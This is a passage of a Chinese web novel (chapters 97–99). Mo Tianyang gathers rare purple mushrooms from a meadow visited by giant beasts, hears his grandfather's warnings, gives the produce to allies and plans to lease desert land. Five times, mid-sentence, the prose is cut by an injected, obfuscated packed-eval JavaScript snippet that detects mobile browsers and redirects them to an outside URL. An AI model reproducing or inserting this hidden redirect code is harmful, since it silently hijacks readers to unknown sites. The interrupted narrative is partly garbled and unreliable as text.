他环顾这片清澈的水域，目光落在水下支撑平台的木架上，一个念头愈发清晰：如果能让这片水域中央自然隆起一片坚实的陆地，而不是依靠人工搭建的平台……那么种植将不再如此麻烦，而大青它们进入空间后，也能有一片真正属于它们的、可以安心休憩的土地。 想到此行的目的，莫天扬不再耽搁，带着青狼们离开了空间。 当帐篷外透进第一缕微弱的曦光，莫天扬起身，看向一直守在帐篷入口、如同忠诚哨兵般趴着的大青。 “大青，天亮了。那些大家伙……还会再来吗？”他轻声问道。 大青闻声站了起来，用力甩了甩身上的露水，冲着莫天扬低沉而肯定地吼叫了几声，摇了摇硕大的狼头。它眼中的恐惧已经褪去，又恢复了往日那沉稳而警惕的模样，仿佛昨夜那惊心动魄的一幕只是一场遥远的噩梦。 看到伙伴恢复如常，莫天扬心头一松，朗声大笑：“好！走，办正事去，采蘑菇！” 踏入晨曦微露的草甸，昨夜那恐怖而奇幻的景象不由自主地再次浮现脑海。莫天扬深吸一口带着清冽草香的空气，强迫自己冷静下来，目光锐利地扫视着这片看似平静的土地。他来过这里两次，草甸上确实有不少野兽踩踏的痕迹，但记忆中……似乎从未见过属于白熊那巨大的掌印，更别提那如同远古巨神般的银色脚印！ 他的目光，不由自主地投向了靠近山梁的那一片区域——那是他前两次探索都未曾涉足的地方。难道……秘密在那里？ 心中念头一起，莫天扬立刻迈步向那片区域走去。身后的大青却发出了几声带着明显警告意味的低吼，停下了脚步，只是远远地注视着他，眼神里充满了警惕，却不再跟随。 当莫天扬走到那片区域边缘时，他的脚步猛地顿住，瞳孔骤然收缩！ 眼前的景象让他倒吸一口凉气！草甸上，赫然出现了几条被硬生生“犁”出来的路径！每一条路径都异常清晰，宽度不同，并且——每条路上只留下了一种庞大生物反复踩踏的痕迹！ 而在离他最近的那条路径旁，茂盛的草丛中，除了点缀其间的各色野花，更有一大片令人无法忽视的、深邃如墨的暗紫色！ 莫天扬心头一跳，快步上前。拨开遮掩的草叶，他整个人瞬间愣在了原地！ 隐藏在草丛中的，并非他熟悉的雪灵菇那圆润洁白的伞盖。映入眼帘的，是一种他从未见过、形态奇异的蘑菇！ 这些蘑菇的菌盖硕大，几乎有海碗大小，呈现出一种近乎妖异的深紫色，在晨光下泛着幽暗的光泽。然而，菌柄和菌褶部分却又是纯净无瑕的雪白！强烈的色彩对比，让它们显得格外诡异。 更让莫天扬心头警铃大作的是——一股难以形容的、带着一丝甜腻却又隐含清冷的奇异幽香，正从这片紫色菌盖中幽幽散发出来，钻入他的鼻腔！ “这是……什么蘑菇？”莫天扬皱紧了眉头，下意识地后退了半步。他深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076141|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知北方山林蘑菇种类相对有限，更牢记着爷爷的告诫：越是颜色艳丽夺目的蘑菇，往往越是暗藏致命的危险！眼前这深紫配雪白的奇异组合，散发出的诡异香气，让他瞬间感到了强烈的威胁，丝毫不敢贸然触碰。 陡然间，莫天扬的目光被草甸上一片明显被反复踩踏过的区域吸引。他快步走近，拨开倒伏的草茎，瞳孔微微一缩——只见湿润的泥土和断草间，零散地洒落着几片碎裂的蘑菇残骸！ 他蹲下身，小心翼翼地捡起几片较大的碎片。借着微亮的天光，他清晰地看到，其中两片深紫色的菌盖边缘，赫然残留着几道粗大、深邃的齿痕！那绝非小型动物所能留下的印记！ 昨夜那六座银色山岳般的身影，在这片区域专注搜寻、停留良久的情景瞬间浮现脑海。莫天扬心头猛地一跳，一股狂喜涌了上来！他立刻起身，快步走向其他几条被巨兽踏出的路径旁仔细搜寻。果然！在好几处地方，他都发现了同样留有巨大齿痕的蘑菇碎片！ 山中的野兽虽不通人言，但它们对这片山林万物的认知，远非人类可比。它们世代栖息于此，哪些可食，哪些剧毒，早已刻入本能！既然那六个恐怖的存在都敢采食这种奇异的蘑菇，而且看这满地碎屑，显然吃得不少……那这蘑菇，十有**是无毒的！ “摘！”莫天扬眼中闪过果断的光芒。他不再犹豫，立刻动手。晨曦初露，草叶上还挂着晶莹的露珠，莫天扬的身影敏捷地穿梭在草丛间，专注地寻找着那些深紫雪白的奇异菌伞。“摘！”“摘！”“摘！”他的动作越来越快，心中充满了发现新物种的兴奋与对收获的期待。 当东方的天际终于透出一抹鱼肚白时，莫天扬直起身，长长舒了口气。灵泉空间里，已然堆放了大量的雪灵菇和这种他尚不知名的奇异蘑菇，散发着混合的泥土清香与那股特别的幽香。他不再停留，招呼一声大青，一人一狼迅速转身，朝着氓牛岭的方向快步下山。 …… 青木村沐浴在清晨微凉的薄雾中。此刻的菜园区域，少了往日人来车往的喧嚣，显得有些空旷寂静。陈宏利、胡标、王海龙等人都在默默地忙碌着，将一箱箱分拣好的蔬菜整齐地码放在院子外的空地上，准备装车。 往常这个时间，颜若曦早已在生机勃勃的菜地里支起手机，用她清亮的声音向粉丝们展示青木村的晨间风光了。 然而今天，她却心不在焉地待在灶台边帮忙，手里机械地择着菜，一双杏目却不受控制地、一次又一次地投向远处青木山那朦胧而沉默的轮廓。清澈的眼眸里，盛满了化不开的担忧，仿佛要将那层峦叠嶂望穿。 第九十七章青木秘辛 一声低沉而熟悉的狼啸划破青木村的宁静，瞬间牵动了所有人的神经！不仅是一直翘首以盼的颜若曦，就连忙碌的陈宏利、胡标等人也猛地停下手里的活计，不约而同地起身，朝着青木山的方向快步涌去！狼啸每晚都有，但这独特的一声——分明是大青的呼唤！ 众人赶到铁丝网尽头，眼前景象让他们又是惊叹又是安心：只见二十多只矫健的青狼伫立在那里，为首的狼王大青，口中稳稳叼着一只肥硕的黄羊！其他青狼也各自衔着野兔、山鸡等猎物。而在狼群后方，一个由好几个鼓鼓囊囊大袋子叠成的“小山包”，正缓缓移动着靠近！ “这小子……又弄这么多！”胡标忍不住摇头，脸上却满是笑意，众人连忙迎了上去帮忙。 灶台边的帐篷里很快热闹起来。众人将沉重的袋子小心卸在地上，陈峰则忙着招呼人手去抬狼群带来的新鲜野味。 “天扬，这蘑菇……比上次还多啊？”曹勇看着堆成小山的袋子，咂舌道。 “嗯，运气不错。”莫天扬应着，目光转向胡标，“标叔，您几位经验老道，快来看看这个蘑菇，认识不？”他边说边解开其中一个袋子的扎口。 他这话立刻吸引了所有人的注意，大家都好奇地围拢过来，目光聚焦在那敞开的袋口。 当那海碗大小、菌盖呈现奇异深紫色的蘑菇显露出来时，帐篷里瞬间响起一片倒吸冷气的声音！胡标、曹勇这些在山里摸爬滚打半辈子的老人，也瞪大了眼睛，脸上写满了茫然。 “这……这是什么蘑菇？” “怪了，我活这么大岁数，头一回见这种色的！” “天扬，你搁哪儿弄来的？”胡标等人面面相觑，最终都苦笑着摇头，表示从未见过。 莫天扬目光投向爷爷的屋子：“我去请爷爷来看看。他老人家年轻时走南闯北，见多识广，或许认得。” “我去请老爷子！”陈宏利反应快，转身就跑了出去。 很快，莫啸脚步略显蹒跚地走了过来，边走还边念叨：“胡标、曹勇，你们几个小子，当年不也常跟着老把式钻林子？啥稀罕蘑菇没见过……” 然而，当他的目光落在那敞开的袋子，触及到那深紫色的硕大菌盖时，老人的话语戛然而止！浑浊的眼眸深处，仿佛有电光石火般猛地一闪，瞬间变得锐利而清明！只是所有人的注意力都被那奇异的蘑菇牢牢吸引，无人捕捉到这刹那的异样。 莫天扬抬头问道：“爷爷，您认得这蘑菇吗？” 莫啸眼中的精光已迅速敛去，恢复了平日的浑浊，他下意识地点点头，声音带着一丝不易察觉的沙哑：“真没想到你小子竟能寻到这东西。这是‘紫皇菇’啊！这东西长的地方，寻常野兽都不敢靠近，你小子……”他顿了顿，语气复杂，“胆子可真不小！” 莫天扬心头一震，忙道：“没有没有，我就是回来路上，偶然在林子里一片地方看到的。爷爷，这紫皇菇……能吃吗？” “当然能吃！”莫啸肯定道，眼中流露出追忆之色，“紫皇菇的味道，比雪灵菇还要鲜美上几分！拿来煲汤，那滋味……啧啧，说是仙品也不为过！老头子我活了大半辈子，也才尝过几回……” 他话锋一转，神情陡然严肃起来，带着不容置疑的警告，“小子，你给我记住！下次再见到紫皇菇，甭管它多好，也别想着去摘！能在它附近盘踞的‘护菇兽’，绝不是大青它们能对付的！以后进山，弄点茶树菇、鸡腿菇这些寻常山货就得了，别为了贪这点稀罕物，把自个儿的性命搭进去！听见没？” “大家伙别愣着了，赶紧收拾起来。”莫啸挥挥手，又对莫天扬说，“你也去收拾一下。”说完，转身朝自己房间走去。 莫天扬会意，拿起那袋紫皇菇跟了上去。刚走到房前空地，莫啸停下脚步，轻轻咳嗽一声。莫天扬转头，只见爷爷脸上的笑容早已消失无踪，取而代之的是一种前所未有的凝重，这让他心头猛地一沉。 “跟我进来。”莫啸低声道，推门进了自己房间。 关上门，隔绝了外面的声音，莫啸才盯着莫天扬，压低声音问道：“小子，老实告诉我，你到底在哪片地方摘到这紫皇菇的？” “氓牛岭附近，一片挺大的草甸子边上。”莫天扬如实回答。 莫啸眉头紧锁：“那地方……你是怎么找到的？” “是大青它们带我过去的。爷爷，您……知道那个地方？”莫天扬试探着问。 莫啸没有直接回答，只是沉声道：“记住！以后天黑之后，绝对！绝对不能再靠近那片草甸！”他的语气斩钉截铁。 莫天扬心中一动，联想到昨夜的惊魂，脱口问道：“爷爷，您是不是知道晚上……那里会有什么？” 莫啸的眼神瞬间变得锐利如刀，紧紧盯着孙子：“你……看到什么了？”他的声音带着一丝不易察觉的紧绷。 见爷爷如此反应，莫天扬深吸一口气，不再隐瞒，将昨夜在草甸边缘目睹雪豹群、白熊群，以及那六个如同银色山岳般的恐怖巨猿的经过，原原本本地讲述了一遍。 莫啸静静地听着，脸上没有任何表情，但放在膝盖上的手却微微攥紧了。直到莫天扬说完，他才长长地、沉重地呼出一口气，抬眼看向窗外，仿佛在确认什么，声音低沉得如同耳语：“好在你身边有大青……不然……你根本不可能活着走出那片林子……” “爷爷，”莫天扬心中的疑惑再也按捺不住，“雪豹我认得，可那白熊……还有那些银色的巨猿……到底是什么？您以前……好像从未提起过青木山里有这样的存在？” “‘白熊’、‘银猿’……” 莫啸的声音低沉而凝重，仿佛在诉说一个古老的禁忌，“它们都是盘踞在青木山最深处、食物链顶端的霸主！你见到的那片草甸深处的深潭，是它们偶尔会光顾的猎场，去捕食潭中稀有的鱼蟹。” 莫啸眼中闪过一丝深深的忌惮，“它们的灵智之高，绝不亚于人类！而它们的恐怖……更是你无法想象的！” 他顿了顿，强调道：“万幸的是，它们想要抵达那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076142|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片草甸，路途极其遥远艰难，每一次跋涉都需要耗费漫长的时间，所以它们总是在深夜才会出现。而它们每一次出行……”莫啸的声音带着一丝寒意，“沿途的丛林，不知有多少生灵要遭殃！” 莫天扬听得心头凛然，深吸一口气：“爷爷，我明白了。以后……我只在白天去。” “最好是尽量避开那种地方！”莫啸语重心长地告诫，“山里的宝贝多的是，何必非盯着最凶险的去处？青木山寻常的山货，拿出去也都是难得的精品，足够用了！” 这时，窗外传来一阵汽车引擎的轰鸣声。莫天扬侧耳一听：“爷爷，是涛哥他们到了，我去招呼一下。” 莫天扬走出房间时，张学涛、王传林一行人已经在帐篷那边和陈峰等人热络地聊上了。他没有立刻过去，而是先回屋快速洗漱，换了身干净衣服才出来。 “天扬！”张学涛眼尖，看到他立刻笑着招呼，“好家伙，这么多山货！你是怎么从深山里弄出来的？” “靠肩膀扛，靠手拎呗，”莫天扬笑着指了指远处的狼群，“大青它们也帮了大忙。” 王传林等人却收敛了笑容，正色道：“刚才听峰叔说了，你昨晚进的青木山？山货虽好，以后可别这么冒险了！你要真有个闪失，我们这些人……担待不起啊！” “放心，我心里有数。”莫天扬摆摆手，“你们先去会客室坐会儿，我这就去准备午饭。” “会客室冷清，就在这灶台边挺好！”张学涛兴致勃勃，“走，咱们先去菜地里转转！” …… 中午时分，帐篷内香气四溢。在别处千金难求的雪灵菇、银刀鱼、黄鳞鱼等珍馐，此刻都化作一道道色香味俱全的佳肴摆上了临时拼起的长桌。众人早已食指大动，却都默契地按捺着，目光频频投向灶台边忙碌的莫天扬，屏息等待着最后一道压轴大戏——以紫皇菇为主料的汤羹。 当那锅汤被端上桌的瞬间，一股难以言喻的、仿佛蕴含着山林精魄的奇异浓香骤然弥漫开来！ “嘶——！” 所有人都情不自禁地站了起来！每个人的脸上都写满了惊异！这香气……是他们毕生从未领略过的！仅仅是吸上一口，就仿佛瞬间抽空了腹中所有食物，勾起了最原始、最强烈的饥饿感！ 紫金色的汤羹在粗陶碗中微微荡漾，散发着诱人的光泽与神异的芬芳。莫天扬落座，微笑道：“好了，大家开动吧。” 几乎在他话音落下的同时，所有人都放下了筷子，不约而同地拿起了小汤勺。 汤匙舀起一勺浓稠的金汤，送入口中—— 刹那间！ 整个帐篷陷入了一种奇异的、近乎神圣的寂静！ 所有人都闭上了双眼，仿佛被按下了暂停键，连呼吸都停滞了。那难以形容的极致鲜香在舌尖轰然炸开，如同最纯净的山泉裹挟着草木精华直冲灵台，涤荡着味蕾，熨帖着灵魂！所有的喧嚣、杂念，在这一刻都被这无上的美味彻底驱逐、遗忘，只剩下纯粹的回味与震撼在胸中激荡、共鸣…… 第九十八章成事之道 “天扬，”王传林满足地靠在椅背上，感慨道，“我王传林不敢说尝遍了天下珍馐，但大江南北的星级酒店也进了不少。可从来没有哪一顿饭，吃得像今天这么舒坦、熨帖！食材没得挑，你这化腐朽为神奇的厨艺，更是绝了！” 莫天扬谦和一笑：“王哥过奖了。巧妇难为无米之炊，说到底，还是这山里的食材是顶级的食材。” 正说着，陈宏利抱着个大西瓜过来：“天扬，这瓜放哪儿？” 莫天扬看了眼桌上杯盘狼藉：“切好放会客室吧。我陪王哥他们过去坐坐，解解腻。” 会客室里少了曹勇、陈宏利这些村里人，王传林、李红军、张学涛等人更显放松，说话也更随意了些。 冰凉的西瓜切开，红瓤黑籽，汁水四溢。众人尝了几块，无不交口称赞，直呼这瓜的爽脆清甜也是平生仅见。然而，当话题转到被毁的菜地和瓜田，轻松的气氛瞬间被冲散，每个人的脸上都笼上了一层阴霾和怒气。 “天扬，”李红军放下瓜皮，沉声道，“莫栓他们那案子，判决下来了。” “怎么判的？”莫天扬目光一凝。 “那几个动手的小混混，纯粹是被人卖了还替人数钱的蠢货！”张学涛愤愤地插话，“有人背后撺掇，他们把事全揽自己头上了！结果每人判了七个月实刑！至于莫栓那个主谋……”他冷笑一声，“只捞了个治安拘留一个月！我找人打听了，证据链被人动了手脚，想翻案……难！” 莫天扬深吸一口气，眼中并无太多意外：“安云飞能重新爬上来，背后必然站着更高的人物。他在浅驼经营多年，关系盘根错节，由他出面运作，下面的人多少都要卖他面子。这结果……意料之中。” “又是这颗毒瘤！”王传林恨声道，“这段时间我一直在查，到底是谁有这么大能量，能把安云飞从泥坑里捞出来洗白，可始终摸不着头绪。” 莫天扬的目光投向窗外那片新翻的沙土地，声音沉稳：“能把安云飞洗得这么白净，背后那只手当然不简单。不过……”他话锋一转，带着一丝冷意，“有莫栓那个成事不足败事有余的蠢货在，安云飞迟早要被他拖下水。到时候，藏得再深的人，也得浮出水面。” “说到莫栓，”张学涛忽然压低声音，带着点幸灾乐祸，“我这几天在浅驼道上的朋友那儿听到个风声，不少放赌的、开暗场子的，都在咬牙切齿地打听莫栓的下落，扬言要找他‘好好聊聊’呢！” 张学涛这话一出，众人都是一愣，齐刷刷看向莫天扬。举报赌场的是莫天扬，莫栓说起来也是“受害者”啊？这…… 莫天扬淡淡一笑，将那天赌场打手寻衅，自己如何“祸水东引”，巧妙地将矛盾焦点转移到莫栓身上的经过，简明扼要地说了一遍。 “哈哈哈哈哈！”王传林、李红军等人听完，忍不住拍案大笑！ “高！天扬，你这招‘祸水东引’玩得绝了！”李红军竖起大拇指，“莫栓那小子，就算有安云飞罩着，这顿‘聊’怕是也够他喝一壶的！” 莫天扬却摇摇头，神色冷静：“那些人眼里只有钱。莫栓手里有钱，背后又有安云飞这座靠山。顶多是破财消灾，吓唬他一下罢了。更有可能的是……”他顿了顿，目光深邃，“他们臭味相投，反而借此机会勾结在一起，沆瀣一气。” 王传林等人的笑容瞬间僵在脸上！莫栓对莫老三的死一直耿耿于怀，把账全算在莫天扬头上，绝不会善罢甘休。如果真让莫栓和那些亡命之徒勾搭上…… “天扬，”王传林语气凝重起来，“这样太危险！要不……我在沛川郊区给你物色个好点的农庄？你搬去沛川！到了沛川地界，别说莫栓，就是安云飞的手也伸不过去！” “躲？”莫天扬断然摇头，眼神坚定，“躲不是办法，也躲不了一辈子。莫栓这人狠是狠，但十足草包一个，不足为惧。只要他敢在村里兴风作浪，我自有办法把他送进去。就算安云飞想插手……”他语气转冷，“伸得太长，也得跟着一起完蛋！” “可我们担心的是他不走明路，勾结那些下三滥对你下黑手啊！”张学涛急道。 “这个你们放心。”莫天扬语气沉稳，带着强大的自信，“我请来的王海龙、**辉那三位老哥，都是正儿八经的退下来的。他们的身手，等闲三五个小混混，连近身都难。” “他们三个？”中午吃饭的时候，他们也看到了和陈宏利他们闲聊的王海龙、**辉、李国强三个，三个人都很是普通，可在莫天扬嘴里却似乎…… “有他们三位在，确实让人安心不少。”王传林点头认可，“以后你出门办事，最好都带上他们，安全第一。” “天扬，”张学涛接过话，“现在你这边菜地也稳定了，不算太忙。要不……跟我们回沛川住几天？放松放松。” 莫天扬笑着摇头，抬手指向酒坊方向：“刚才你们进来时应该闻到了，酒坊那边正到关键时候。等这‘屠苏’酿出来，我亲自给你们送酒去！” “屠苏？！”王传林、李红军等人瞬间坐直了身体，眼中满是惊异！他们一进村就闻到了那股特别的酒香，虽然还夹杂着浓烈的酒糟气息，但那独特的醇香底蕴却难以掩盖。只是之前忙着品尝美食，没来得及细问。 “天扬，你说的屠苏……是古诗文里常提到的那种，能驱邪避疫的古酒‘屠苏’？”李红军的声音带着难以置信的激动。 莫天扬点头：“嗯，按我爷爷不知从哪得来的一个古方子试着酿的，应该……是吧。再有个十天半月就能出酒了，如果成功，我给大家送去尝尝。” “太好了！”众人喜形于色，“到时候提前招呼一声，我们一定好好准备，恭候你这‘屠苏’美酒！” “对了，”莫天扬提醒道，“今天带来的山货不少，宏利他们应该都给大家分装好了，走的时候别忘了拿。” 王传林等人闻言，脸上都浮现出复杂的神色。他们知道这些山货的分量——莫天扬是冒着夜入青木山的危险才带出来的！雪灵菇、紫皇菇、珍品木耳、新鲜的山鸡野兔……每一样都珍贵无比，有钱也未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080876|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必能买到。 “天扬，”王传林语气郑重，“这些可都是好东西，价值不菲。这样，我们……” 莫天扬不等他说完，便摆了摆手，神色真诚而坚定：“王哥，李哥，涛哥，这两个多月，要是没有你们鼎力相助，我这菜园子、我这日子，不可能有今天。我知道你们不缺钱，也只有这些山里的东西，还算稀罕，能入你们的眼。要是再提钱，那就太生分了！以后我莫天扬麻烦你们的地方，还多着呢！” 这番话，让在座众人心头都是一热，看向莫天扬的目光又多了几分赞许和亲近。 这些山货对普通人而言是值钱的宝贝，对他们而言，却是结交人脉、稳固关系的绝佳资源。莫天扬这份不贪图眼前小利、懂得“送人情”的格局和智慧，着实令人高看一眼。 “天扬，既然你这么说，那我们就不跟你客气了！”王传林代表众人表态，语气斩钉截铁，“以后有什么事，你只管开口！沛川这片地界，兄弟们能帮的，绝无二话！” “行！有你们这话我就踏实了！”莫天扬笑着应承。 担心新鲜山货耽搁久了影响品质，众人又闲聊片刻，便带着沉甸甸的心意，匆匆驱车离去。 看着车队消失在村路尽头，颜若曦走到莫天扬身边，清澈的眼眸里带着一丝不解和心疼：“天扬，你带回来的那些山货，尤其是紫皇菇和雪灵菇，可都是稀世珍品。你就这样……白白送出去了？真的一点都不心疼吗？” 莫天扬转头，看着身边笑颜如花的女孩，温和一笑：“我能有今天这点局面，离不开他们的倾力相助。山货再珍贵，终究是身外之物。拿出去卖钱，反倒可能引来不必要的觊觎和麻烦。不如送给他们，既还一份人情，也铺一条长路。以后要倚仗他们的地方，只会更多。”他的目光坦荡而深远。 颜若曦若有所思地点点头，随即俏皮地眨眨眼：“那……能不能给我也留一点？我想寄点回去，给我爷爷尝尝鲜。” 莫天扬微微一愣，随即凑近了些，压低声音，带着点神秘兮兮的谨慎：“给你爷爷？嗯……那你得先告诉我，老爷子……口风紧不紧？” 看到他这副煞有介事的模样，颜若曦忍不住“噗嗤”一声笑了出来，眉眼弯弯：“我就想寄点木耳、蘑菇而已！瞧你这紧张劲儿，好像我要做什么违法乱纪的大事似的！” 莫天扬也嘿嘿一笑，挠了挠头：“这不是怕好东西传出去招风嘛。你爷爷离得远？要不……晒干了再寄？” “不用那么麻烦！”颜若曦摆摆手，信心满满，“我明天跑趟县城，用最快的冷链快递，保证新鲜到家！” “那行！”莫天扬爽快答应，“木耳、蘑菇，你看上哪些，尽管拿！都给你也行！” “都给我？”颜若曦有些意外，睁大了眼睛。 莫天扬认真地点点头，目光落在她身上，带着真诚的感谢：“这段时间，你帮我直播宣传，线上线下忙前忙后，影响力可不小，帮了我大忙。这些山货，是你应得的‘酬劳’。”他的语气温和而肯定。 第九十九章租地 “天扬，”胡标抽了口旱烟，眉头微皱，“这两天，村里好几户人家都找上门来了。他们瞅着你家沙地种出了金疙瘩，眼热啊。他们的意思……是想把挨着你家沙地的那一片片荒地也交给你拾掇出来种上。钱不钱的无所谓，就盼着明年能在你这儿讨个长久工作，像我们这样拿份稳当钱。” 莫天扬没有立刻回答，目光投向不远处。那片环绕着自家菜园的沙地，在烈日下泛着刺眼的白光，大部分地方寸草不生，只有零星的几丛耐旱的沙蒿在热风中摇曳。 他沉吟片刻，看向胡标：“标叔，您几位叔伯怎么看这事？” 胡标磕了磕烟锅灰：“这些年，除了你爷爷还费心打理他那点沙地，周围那些地……唉，我们几个特意去看了，不少都快变成流沙窝子了，根本指望不上庄稼！他们提的打工……是想跟你签长契，跟我们一样按月领工钱。”他语气里带着担忧，“天扬，这可不是小事，人一多，开销可就海了去了！” 莫天扬微微点头。自家这几十亩沙地能焕发生机，一是靠院中的古井（灵泉空间水），二是当初挖鱼塘填进去的大量塘泥改善了土质。灵泉空间固然神奇，但他也不敢打包票能让所有沙地都变成良田。这个问题，他这两个月一直在反复掂量。 “天扬，你脑子活络，得盘算清楚。”陈峰也提醒道，“真要是雇那么多人，光是每月的工钱就是一大笔开销！” 莫天扬深吸一口气，眼神变得坚定：“沙地，我可以接手。但不是白种，我要租赁他们的地！” “租赁？”胡标陈峰几个都愣住了，“天扬，咱村啥情况你还不清楚？那沙地白送都没人要，你还要花钱租？” “标叔，”莫天扬摇摇头，语气沉稳中带着一丝凝重，“正因为沙地现在一文不值，大家才愿意‘白送’。可一旦我们投入巨大心血和成本，把沙地改良好了，变成能生金蛋的鸡，到时候……难保不会有人反悔，想把地收回去！真要闹起来，空口无凭，法律也未必站在我们这边。但签了租赁合同，白纸黑字，年限、租金写得明明白白，他们就没了反悔的由头！” 胡标几人互相对视一眼，纷纷点头：“这话在理！村里有些人，眼皮子浅，见利忘义的事真干得出来！有合同攥在手里，他们就翻不了天！” “那您几位觉得，”莫天扬征询道，“这沙地，一亩给多少租金合适？” 胡标盘算了一下：“咱村土地荒漠化是厉害，但家家户户名下的沙地面积都不小，光是你家周围这一片，零零总总加起来怕有上千亩！你……打算包多少？” “我现在能力有限，”莫天扬思路清晰，“加上水源只有那一口井，承受力也有限。我打算先拿二百亩做个试点。如果真能改成功，手头资金也宽裕了，再考虑承包更多的地。” “这样啊……”胡标琢磨着，“那沙地现在就是废地，一亩给三十块钱一年就顶天了，放他们手里连这三十都生不出来。” “三十……会不会太低了点？”莫天扬觉得有些过意不去。 “不低了！”胡标很肯定，“对他们来说，这就是白捡的钱！” 莫天扬想了想，还是坚持道：“那就定五十吧。对了，标叔，咱们村的二轮土地承包合同，是不是今年就到期了？三轮承包马上要开始了？” “对，没错！新合同一签就是三十年！”胡标答道。 “好！”莫天扬目光炯炯，拍板道，“就按三轮承包的三十年签！租金按每年五十块算。签合同那天，我们一次性预付五年的租金给他们！” 这个方案，既给了村民看得见的实惠，也为他赢得了宝贵的、长达三十年的发展空间和保障。 “行！”胡标几人爽快应下，“我们这就去摸摸底，看看你家周围那些沙地都是谁家的！” 莫天扬点头：“好。我这就联系张学涛，让他帮忙拟正式的租赁合同。” “那……关于招工的条件？”胡标追问。 “年龄五十岁以下、能吃苦耐劳的，可以签长工合同。超过五十岁的，只能做临时工，按天或按件计酬。”莫天扬明确道。 …… 莫天扬要承包那些几乎沦为沙漠的废地，消息像长了翅膀一样飞遍了青木村乃至周边村落。 虽然每亩地每年只给五十块租金，但对于那些守着大片荒芜沙地的村民来说，这无异于天降横财！这些地，白送都无人问津，早已成了他们心头甩不掉的累赘。如今，莫天扬不仅愿意接手，还一签就是三十年！算下来，一亩地就是一千五百块！家里若有十亩荒地，就能一次拿到一万五千块！这笔钱，对经济拮据的他们而言，绝对是一笔改变生活的巨款！ 消息传开，反响剧烈，却也夹杂着刺耳的杂音。 青木村和邻村都炸开了锅！支持者欢天喜地，尤其是那些被选中地块的村民，激动得几乎一夜没合眼，天刚亮就揣着土地证涌向胡标家。而更多未被选中的村民，也纷纷找上门来，眼神热切地恳求：“标叔，求你跟天扬说说，把我家那几亩沙地也包了吧！少给点钱都行！” 一时间，胡标、曹勇、陈峰等人成了全村最炙手可热的人物，门槛都快被踏破了！他们既要安抚激动的人群，解释莫天扬目前“只试点两百亩，能力有限”，又要一遍遍地向在外打工的村民电话解释合同细节。 与此同时，莫天扬承诺优先雇佣“地主”打工的消息，更是引发了轰动！四五十岁的人外出打工，往往只能干最苦最累的力气活，工资还低。现在莫天扬开出的三千块月薪，在沛川当地绝对是高工资了！这让不少原本犹豫的村民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087081|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心思也活络起来。 当然，冷嘲热讽也从未停歇。街头巷尾，田间地头，到处都能听到议论： “莫家小子这是读书读傻了吧？花钱租沙窝子？” “一包三十年？真是钱多烧得慌！” “就这脑子，当初咋考上大学的？” 不管外界如何议论纷纷，合同签订如期进行。当村民们真真切切拿到那笔预付的五年租金时，脸上的笑容藏也藏不住。紧接着，改造沙地的工程轰轰烈烈地拉开了序幕。为了加快进度，莫天扬干脆又添置了一台拖拉机。 看着拖拉机在松软的沙地上艰难作业，卷起漫天黄尘，胡标忧心忡忡地找到莫天扬：“天扬，现在别说外村，连咱们村都有不少人背地里说你‘人傻钱多’。你看这地，现在好不容易整出点样子，可等冬天那西北风一起，刮上几场大风，沙土一跑，怕是又得打回原形啊！” 莫天扬深吸一口气，目光投向广袤的沙地：“标叔，这个我想到了。过几天，我会订购一批厚厚的草帘子。入冬前，就把整好的地像盖被子一样，全给它铺严实了！” 胡标几人互相看了看，点点头：“这法子……倒是不错！虽说投入不小，但防风固沙、保墒养地的效果肯定好！” “天扬，”陈峰忍不住问，“那明年开春，你这二百亩沙地，打算种点啥？总不能一直盖着草帘子吧？” 莫天扬眼中闪过一丝光芒，脑海中浮现出灵泉空间里那些生机勃勃的酸溜溜幼苗。“我打算借鉴国家治理沙漠的经验，”他缓缓说道，“种酸溜溜！行间套种紫花苜蓿。” “种酸溜溜（沙棘）？”胡标眉头又皱了起来，“天扬，我跟乡里考察队跑过几次，酸溜溜、梭梭这些是耐旱，防风固沙是好手，可经济效益……实在一般啊！现在好多地方都改种红枣了。咱们这地再差，总比纯沙漠强点吧？我觉得种红枣更划算！” 